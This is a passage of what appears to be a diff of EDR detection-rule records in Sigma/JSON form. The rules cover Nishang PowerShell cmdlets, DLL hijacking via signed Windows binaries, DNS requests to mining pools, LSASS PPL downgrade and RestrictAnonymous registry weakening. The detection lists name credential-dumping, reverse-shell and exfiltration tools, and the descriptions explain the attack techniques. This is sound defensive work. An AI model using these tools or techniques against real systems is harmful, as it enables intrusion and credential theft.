'Gupt-Backdoor '\n            - 'Invoke-ADSBackdoor '\n            - 'Enabled-DuplicateToken '\n            - 'Invoke-PsUaCme '\n            - 'Remove-Update '\n            - 'Get-LSASecret '\n            - 'Get-PassHashes '\n            - 'Show-TargetScreen '\n            - 'Port-Scan '\n            - 'Invoke-PoshRatHttp '\n            - 'Invoke-PoshRatHttps '\n            - 'Invoke-PowerShellTCP '\n            - 'Invoke-PowerShellWMI '\n            - 'Add-Exfiltration '\n            - 'Add-Persistence '\n            - 'Do-Exfiltration '\n            - 'Start-CaptureServer '\n            - 'Get-ChromeDump '\n            - 'Get-ClipboardContents '\n            - 'Invoke-Mimikittenz '\n            - 'Invoke-PowerShellIcmp '\n\n    exclusion_sentinelone:\n        PowershellCommand|contains|all:\n            - ':::::\\windows\\sentinel\\'\n            - '<#sentinelbreakpoints#>'\n            - 'Add-Persistence'\n\n    exclusion_aadinternals:\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\AADInternals\\0.6.8\\AADSyncSettings.ps1\n        # C:\\Program Files\\WindowsPowerShell\\Modules\\AADInternals\\0.6.8\\AADInternals.psd1\n        PowershellScriptPath|startswith: '?:\\Program Files\\WindowsPowerShell\\Modules\\AADInternals\\'\n        PowershellCommand|contains|all:\n            - '$LSASecret=Get-LSASecrets -Users'\n            - '_SC_ADSync'\n            - '$password=$LSASecret.PasswordTxt'\n\n    exclusion_tanium:\n        ProcessImage: '?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumClient.exe'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "eb11687b-d8b4-4ee5-bff4-32c03dd6e493",
+  "rule_name": "Malicious PowerShell Nishang Commandlets",
+  "rule_description": "Detects various malicious commandlets in PowerShell's command-line, generally associated with the Nishang framework.\nNishang is a framework and collection of scripts and payloads which enables usage of PowerShell for offensive security, penetration testing and red teaming.\nIt is recommended to investigate actions performed by attackers using the Nishang framework and to isolate infected systems.\n",
+  "rule_creation_date": "2021-06-22",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.collection",
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.execution"
+  ],
+  "rule_technique_tags": [
+    "attack.t1059.001",
+    "attack.t1095",
+    "attack.t1115"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ebb3b1b1-bbf2-4e68-ae36-1c51d1aacb09",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.098420Z",
+  "creation_date": "2026-03-23T11:45:34.098422Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.098427Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_iscsicli.yml",
+  "content": "title: DLL Hijacking via iscsicli.exe\nid: ebb3b1b1-bbf2-4e68-ae36-1c51d1aacb09\ndescription: |\n    Detects potential Windows DLL Hijacking via iscsicli.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'iscsicli.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\DEVOBJ.dll'\n            - '\\ISCSIDSC.dll'\n            - '\\ISCSIUM.dll'\n            - '\\WMICLNT.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ebb3b1b1-bbf2-4e68-ae36-1c51d1aacb09",
+  "rule_name": "DLL Hijacking via iscsicli.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via iscsicli.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ebb95111-6046-42fa-a44e-b9fedef79771",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.600890Z",
+  "creation_date": "2026-03-23T11:45:34.600893Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.600901Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_filehistory.yml",
+  "content": "title: DLL Hijacking via filehistory.exe\nid: ebb95111-6046-42fa-a44e-b9fedef79771\ndescription: |\n    Detects potential Windows DLL Hijacking via filehistory.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'filehistory.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\CRYPTBASE.dll'\n            - '\\dsrole.dll'\n            - '\\efsutil.dll'\n            - '\\explorerframe.dll'\n            - '\\fhcfg.dll'\n            - '\\mpr.dll'\n            - '\\msctf.dll'\n            - '\\ncrypt.dll'\n            - '\\rsaenh.dll'\n            - '\\UxTheme.dll'\n            - '\\wevtapi.dll'\n            - '\\windows.storage.dll'\n            - '\\windowscodecs.dll'\n            - '\\xmllite.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ebb95111-6046-42fa-a44e-b9fedef79771",
+  "rule_name": "DLL Hijacking via filehistory.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via filehistory.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ebcc3c72-c1f1-476c-b665-6fd18b618287",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.627905Z",
+  "creation_date": "2026-03-23T11:45:34.627907Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.627911Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.malwarebytes.com/cryptojacking",
+    "https://attack.mitre.org/techniques/T1496/"
+  ],
+  "name": "t1496_cryptominer_pool_dns_request_linux.yml",
+  "content": "title: DNS Request to Cryptocurrency Mining Pool (Linux)\nid: ebcc3c72-c1f1-476c-b665-6fd18b618287\ndescription: |\n    Detects a DNS resolution request for a known cryptocurrency mining pool website.\n    A mining pool is a joint group of cryptocurrency miners who combine resources over a network to find blocks quicker and share coins.\n    This may be an indicator of hidden or covert mining programs in a system making requests to crypto pooling websites.\n    It is recommended to investigate the process performing this request to determine its legitimacy.\nreferences:\n    - https://www.malwarebytes.com/cryptojacking\n    - https://attack.mitre.org/techniques/T1496/\ndate: 2023/12/11\nmodified: 2026/02/11\nauthor: HarfangLab\ntags:\n    - attack.impact\n    - attack.t1496\n    - classification.Linux.Source.DnsQuery\n    - classification.Linux.Behavior.CryptoMiner\n    - classification.Linux.Behavior.NetworkActivity\nlogsource:\n    product: linux\n    category: dns_query\ndetection:\n    selection:\n        QueryName|contains:\n            - '2miners.com'\n            - '6block.com'\n            - 'acepool.top'\n            - 'aionpool.tech'\n            - 'alph-pool.com'\n            - 'backend-aplha.com'\n            - 'baikalmine.com'\n            - 'blocx.zone'\n            - 'bluenose.link'\n            - 'bohemianpool.com'\n            - 'c3pool.com'\n            - 'cedric-crispin.com'\n            - 'cryptonote.social'\n            - 'crypto-pool.fr'\n            - 'dxpool.net'\n            - 'educu.xyz'\n            - 'ekapool.com'\n            - 'ethashpool.com'\n            - 'ethermine.org'\n            - 'ethwmine.com'\n            - 'ezil.me'\n            - 'f2pool.com'\n            - 'fairhash.org'\n            - 'fastpool.xyz'\n            - 'flockpool.com'\n            - 'fluxpools.net'\n            - 'gntl.uk'\n            - 'grinmint.com'\n            - 'hashcity.org'\n            - 'hashvault.pro'\n            - 'herominers.com'\n            - 'hiveon.com'\n            - 'hiveon.net'\n            - 'minerno.de'\n            - 'minexmr.com'\n            - 'miningmadness.com'\n            - 'miningocean.org'\n            - 'monerod.org'\n            - 'monerohash.com'\n            - 'moneroocean.stream'\n            - 'monerop.com'\n            - 'multi-pools.com'\n            - 'nanopool.org'\n            - 'nicehash.com'\n            - 'p2pool.io'\n            - 'pool2mine.net'\n            - 'pool.binance.com'\n            - 'poolin.com'\n            - 'pool.kryptex.com'\n            - 'pool.sero.cash'\n            - 'pool.xmr.pt'\n            - 'prohashing.com'\n            - 'raptoreum.zone'\n            - 'raptorhash.com'\n            - 'ravenminer.com'\n            - 'rplant.xyz'\n            - 'semipool.com'\n            - 'skypool.org'\n            - 'solopool.org'\n            - 'sunpool.top'\n            - 'supportxmr.com'\n            - 'suprnova.cc'\n            - 'unmineable.com'\n            - 'uupool.cn'\n            - 'volt-mine.com'\n            - 'woolypooly.com'\n            - 'xmrpool.eu'\n            - 'zergpool.com'\n            - 'zeropool.io'\n            - 'zpool.ca'\n\n    filter_resolver:\n        ProcessImage:\n            - '/usr/sbin/named'\n            - '/lib/systemd/systemd-resolved'\n            - '/usr/lib/systemd/systemd-resolved'\n            - '/usr/sbin/unbound'\n            - '/usr/sbin/pdns_recursor'\n            - '/usr/sbin/squid'\n            - '/usr/sbin/nscd'\n\n    filter_browser:\n        ProcessImage|endswith:\n            - '/firefox'\n            - '/chrome'\n            - '/google-chrome'\n            - '/google-chrome-stable'\n            - '/brave'\n            - '/msedge'\n            - '/librewolf'\n            - '/chromium'\n            - '/vivaldi'\n\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ebcc3c72-c1f1-476c-b665-6fd18b618287",
+  "rule_name": "DNS Request to Cryptocurrency Mining Pool (Linux)",
+  "rule_description": "Detects a DNS resolution request for a known cryptocurrency mining pool website.\nA mining pool is a joint group of cryptocurrency miners who combine resources over a network to find blocks quicker and share coins.\nThis may be an indicator of hidden or covert mining programs in a system making requests to crypto pooling websites.\nIt is recommended to investigate the process performing this request to determine its legitimacy.\n",
+  "rule_creation_date": "2023-12-11",
+  "rule_modified_date": "2026-02-11",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.impact"
+  ],
+  "rule_technique_tags": [
+    "attack.t1496"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ebcf7c10-b156-46b3-bc22-9c7999c0259a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621269Z",
+  "creation_date": "2026-03-23T11:45:34.621271Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621275Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://attack.mitre.org/techniques/T1547/005/",
+    "https://attack.mitre.org/mitigations/M1025/"
+  ],
+  "name": "t1547_005_lsass_ppl_security_downgrade.yml",
+  "content": "title: LSASS PPL Downgraded\nid: ebcf7c10-b156-46b3-bc22-9c7999c0259a\ndescription: |\n    Detects the weakening of the LSASS PPL (Protected Process Light) configuration.\n    A PPL process is a process that, through its signature, is inherently trusted by the system and therefore (if enabled) confered a higher level of security by Windows.\n    Protected Process are ranked by trust level and cannot be opened or tampered with by processes with a lower trust level.\n    On Windows, the LSASS (Local Security Authority Subsystem Service), which holds sensitive authentication material in its memory, can be optionally configured to run as PPL to prevent attackers from dumping its memory.\n    Attackers may try to weaken this security configuration to allow themselves to fetch sensitive data from LSASS' memory.\n    It is recommended to analyze the process responsible for the registry edit to look for malicious content, as well as to look for other alerts following this one indicating a dump of the LSASS process memory.\nreferences:\n    - https://attack.mitre.org/techniques/T1547/005/\n    - https://attack.mitre.org/mitigations/M1025/\ndate: 2020/09/22\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.persistence\n    - attack.t1547.005\n    - attack.t1112\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection_target:\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\RunAsPPL'\n\n    selection_write_false:\n        EventType: 'SetValue'\n        Details: 'DWORD (0x00000000)'\n\n    selection_delete_value:\n        EventType: 'DeleteValue'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_healthservice:\n        ProcessImage: '?:\\Windows\\System32\\SecurityHealthService.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_deviceenroller:\n        Image: '?:\\Windows\\System32\\DeviceEnroller.exe'\n\n    exclusion_omadmclient:\n        Image: '?:\\WINDOWS\\system32\\omadmclient.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Microsoft Windows'\n\n    condition: selection_target and (selection_write_false or selection_delete_value) and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ebcf7c10-b156-46b3-bc22-9c7999c0259a",
+  "rule_name": "LSASS PPL Downgraded",
+  "rule_description": "Detects the weakening of the LSASS PPL (Protected Process Light) configuration.\nA PPL process is a process that, through its signature, is inherently trusted by the system and therefore (if enabled) confered a higher level of security by Windows.\nProtected Process are ranked by trust level and cannot be opened or tampered with by processes with a lower trust level.\nOn Windows, the LSASS (Local Security Authority Subsystem Service), which holds sensitive authentication material in its memory, can be optionally configured to run as PPL to prevent attackers from dumping its memory.\nAttackers may try to weaken this security configuration to allow themselves to fetch sensitive data from LSASS' memory.\nIt is recommended to analyze the process responsible for the registry edit to look for malicious content, as well as to look for other alerts following this one indicating a dump of the LSASS process memory.\n",
+  "rule_creation_date": "2020-09-22",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.persistence"
+  ],
+  "rule_technique_tags": [
+    "attack.t1112",
+    "attack.t1547.005"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ebd472da-418b-4126-873b-e921337be4d2",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.622259Z",
+  "creation_date": "2026-03-23T11:45:34.622261Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.622265Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity",
+    "https://attack.mitre.org/techniques/T1021/001/",
+    "https://attack.mitre.org/techniques/T1021/002/",
+    "https://attack.mitre.org/techniques/T1135/"
+  ],
+  "name": "t1021_001_restrictanonymous_key_in_registry.yml",
+  "content": "title: Share Enumeration Security Lowered in Registry\nid: ebd472da-418b-4126-873b-e921337be4d2\ndescription: |\n    Detects the modification of the Lsa Registry configuration allowing for Null Sessions to enumerate all network shares.\n    Attackers can use this technique to allow all machine users to enumerate devices and perform lateralization through RDP.\n    It is recommended to investigate the process performing this action to determine its legitimacy and to look for other malicious actions.\nreferences:\n    - https://www.accenture.com/us-en/blogs/cyber-defense/turla-belugasturgeon-compromises-government-entity\n    - https://attack.mitre.org/techniques/T1021/001/\n    - https://attack.mitre.org/techniques/T1021/002/\n    - https://attack.mitre.org/techniques/T1135/\ndate: 2022/11/28\nmodified: 2026/03/16\nauthor: HarfangLab\ntags:\n    - attack.lateral_movement\n    - attack.t1021.002\n    - attack.discovery\n    - attack.t1135\n    - attack.defense_evasion\n    - attack.t1112\n    - attack.t1562\n    - attack.command_and_control\n    - attack.t1071\n    - classification.Windows.Source.Registry\n    - classification.Windows.Behavior.SystemModification\n    - classification.Windows.Behavior.Lateralization\nlogsource:\n    product: windows\n    category: registry_event\ndetection:\n    selection:\n        EventType: SetValue\n        TargetObject: 'HKLM\\System\\CurrentControlSet\\Control\\Lsa\\RestrictAnonymous'\n        Details: 'DWORD (0x00000000)'\n\n    exclusion_template_gpo:\n        ProcessImage|endswith: '\\svchost.exe'\n        ProcessCommandLine:\n            - '?:\\Windows\\system32\\svchost.exe -k GPSvcGroup'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k GPSvcGroup -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -s gpsvc'\n            - '?:\\Windows\\system32\\svchost.exe -k netsvcs -p -s gpsvc'\n            - '?:\\Windows\\System32\\svchost.exe -k netsvcs' # (Windows Server 2012 and 2016)\n            - '?:\\WINDOWS\\system32\\svchost.exe -k netsvcs -p'\n            - '?:\\WINDOWS\\system32\\svchost.exe -k UserProfileService -p -s gpsvc'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    exclusion_ccmexec:\n        ProcessOriginalFileName: 'CcmExec.exe'\n        ProcessUserSID: 'S-1-5-18'\n        ProcessParentImage: '?:\\Windows\\System32\\services.exe'\n\n    # This excludes registry modifications coming from local security strategies.\n    exclusion_services:\n        ProcessImage: '?:\\Windows\\System32\\services.exe'\n        ProcessParentImage: '?:\\Windows\\System32\\wininit.exe'\n        ProcessUserSID: 'S-1-5-18'\n\n    exclusion_device_enroller:\n        ProcessImage: '?:\\Windows\\System32\\DeviceEnroller.exe'\n        ProcessParentImage:\n            - '?:\\Windows\\system32\\svchost.exe'\n            - '?:\\Windows\\System32\\omadmclient.exe'\n\n    exclusion_omadmclient:\n        ProcessImage: '?:\\WINDOWS\\system32\\omadmclient.exe'\n\n    exclusion_trendmicro1:\n        ProcessImage:\n            - '?:\\Program Files (x86)\\Trend Micro\\Security Agent\\TSC64.exe'\n            - '?:\\Program Files (x86)\\Trend Micro\\OfficeScan Client\\TSC64.exe'\n    exclusion_trendmicro2:\n        ProcessImage: '?:\\WINDOWS\\RegBootClean64.exe'\n        ProcessSigned: 'true'\n        ProcessSignature: 'Trend Micro, Inc.'\n\n    condition: selection and not 1 of exclusion_*\nlevel: medium\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "ebd472da-418b-4126-873b-e921337be4d2",
+  "rule_name": "Share Enumeration Security Lowered in Registry",
+  "rule_description": "Detects the modification of the Lsa Registry configuration allowing for Null Sessions to enumerate all network shares.\nAttackers can use this technique to allow all machine users to enumerate devices and perform lateralization through RDP.\nIt is recommended to investigate the process performing this action to determine its legitimacy and to look for other malicious actions.\n",
+  "rule_creation_date": "2022-11-28",
+  "rule_modified_date": "2026-03-16",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.discovery",
+    "attack.lateral_movement"
+  ],
+  "rule_technique_tags": [
+    "attack.t1021.002",
+    "attack.t1071",
+    "attack.t1112",
+    "attack.t1135",
+    "attack.t1562"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "ebe370ee-bbfc-40ed-b1f3-67d8f45c006a",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.621128Z",
+  "creation_date": "2026-03-23T11:45:34.621130Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.621135Z",
+  "rule_level": "medium",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://learn.microsoft.com/en-us/troubleshoot/windows-client/windows-security/enable-ntlm-2-authentication",
